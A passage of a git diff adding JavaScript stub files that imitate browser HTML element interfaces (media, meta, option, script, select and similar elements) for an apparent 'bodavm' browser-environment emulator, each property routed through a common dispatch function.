arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "canPlayType", {configurable:true, enumerable:true, writable:true, value:function canPlayType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "canPlayType", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "captureStream", {configurable:true, enumerable:true, writable:true, value:function captureStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "captureStream", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "load", {configurable:true, enumerable:true, writable:true, value:function load (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "load", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "pause", {configurable:true, enumerable:true, writable:true, value:function pause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "pause", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "play", {configurable:true, enumerable:true, writable:true, value:function play (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "play", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preservesPitch", {configurable:true, enumerable:true, get:function preservesPitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_get", arguments)}, set:function preservesPitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "sinkId", {configurable:true, enumerable:true, get:function sinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "sinkId_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "remote", {configurable:true, enumerable:true, get:function remote (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "remote_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "disableRemotePlayback", {configurable:true, enumerable:true, get:function disableRemotePlayback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_get", arguments)}, set:function disableRemotePlayback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setSinkId", {configurable:true, enumerable:true, writable:true, value:function setSinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setSinkId", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "mediaKeys", {configurable:true, enumerable:true, get:function mediaKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "mediaKeys_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setMediaKeys", {configurable:true, enumerable:true, writable:true, value:function setMediaKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setMediaKeys", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMetaElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMetaElement.js new file mode 100644 index 00000000..56ed5b4e --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMetaElement.js @@ -0,0 +1,10 @@ +// HTMLMetaElement对象 +bodavm.memory.globalobj['HTMLMetaElement'] = function HTMLMetaElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMetaElement'], "HTMLMetaElement"); +bodavm.memory.globalobj['HTMLMetaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMetaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "httpEquiv", {configurable:true, enumerable:true, get:function httpEquiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_get", arguments)}, set:function httpEquiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "content", {configurable:true, enumerable:true, get:function content (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_get", arguments)}, set:function content (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "scheme", {configurable:true, enumerable:true, get:function scheme (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_get", arguments)}, set:function scheme (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLOptGroupElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLOptGroupElement.js new file mode 100644 index 00000000..6fd8026f --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLOptGroupElement.js @@ -0,0 +1,7 @@ +// HTMLOptGroupElement对象 +bodavm.memory.globalobj['HTMLOptGroupElement'] = function HTMLOptGroupElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptGroupElement'], "HTMLOptGroupElement"); +bodavm.memory.globalobj['HTMLOptGroupElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOptGroupElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLOptionElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLOptionElement.js new file mode 100644 index 00000000..aacd587c --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLOptionElement.js @@ -0,0 +1,13 @@ +// HTMLOptionElement对象 +bodavm.memory.globalobj['HTMLOptionElement'] = function HTMLOptionElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionElement'], "HTMLOptionElement"); +bodavm.memory.globalobj['HTMLOptionElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOptionElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "form_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "defaultSelected", {configurable:true, enumerable:true, get:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_get", arguments)}, set:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "index_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLParagraphElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLParagraphElement.js new file mode 100644 index 00000000..8813e54d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLParagraphElement.js @@ -0,0 +1,6 @@ +// HTMLParagraphElement对象 +bodavm.memory.globalobj['HTMLParagraphElement'] = function HTMLParagraphElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParagraphElement'], "HTMLParagraphElement"); +bodavm.memory.globalobj['HTMLParagraphElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLParagraphElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLParagraphElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLScriptElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLScriptElement.js new file mode 100644 index 00000000..722b1c4b --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLScriptElement.js @@ -0,0 +1,19 @@ +// HTMLScriptElement对象 +bodavm.memory.globalobj['HTMLScriptElement'] = function HTMLScriptElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLScriptElement'], "HTMLScriptElement"); +bodavm.memory.globalobj['HTMLScriptElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLScriptElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "supports", {configurable:true, enumerable:true, writable:true, value:function supports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "supports", arguments)}}); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "noModule", {configurable:true, enumerable:true, get:function noModule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_get", arguments)}, set:function noModule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "async", {configurable:true, enumerable:true, get:function async (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_get", arguments)}, set:function async (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "defer", {configurable:true, enumerable:true, get:function defer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_get", arguments)}, set:function defer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "event", {configurable:true, enumerable:true, get:function event (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_get", arguments)}, set:function event (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "htmlFor", {configurable:true, enumerable:true, get:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_get", arguments)}, set:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_get", arguments)}, set:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLSelectElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLSelectElement.js new file mode 100644 index 00000000..bb987973 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLSelectElement.js @@ -0,0 +1,29 @@ +// HTMLSelectElement对象 +bodavm.memory.globalobj['HTMLSelectElement'] = function HTMLSelectElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSelectElement'], "HTMLSelectElement"); +bodavm.memory.globalobj['HTMLSelectElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSelectElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "form_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "multiple", {configurable:true, enumerable:true, get:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_get", arguments)}, set:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "required", {configurable:true, enumerable:true, get:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_get", arguments)}, set:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "type_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "options", {configurable:true, enumerable:true, get:function options (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "options_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_get", arguments)}, set:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedOptions", {configurable:true, enumerable:true, get:function selectedOptions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedOptions_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedIndex", {configurable:true, enumerable:true, get:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_get", arguments)}, set:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "willValidate_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validity_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "labels_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "add", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "checkValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "item", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "namedItem", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "remove", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "reportValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "setCustomValidity", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLSpanElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLSpanElement.js new file mode 100644 index 00000000..e25c8170 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLSpanElement.js @@ -0,0 +1,5 @@ +// HTMLSpanElement对象 +bodavm.memory.globalobj['HTMLSpanElement'] = function HTMLSpanElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSpanElement'], "HTMLSpanElement"); +bodavm.memory.globalobj['HTMLSpanElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSpanElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLStyleElement.js b/env_xbb_lastest_jsdom/env 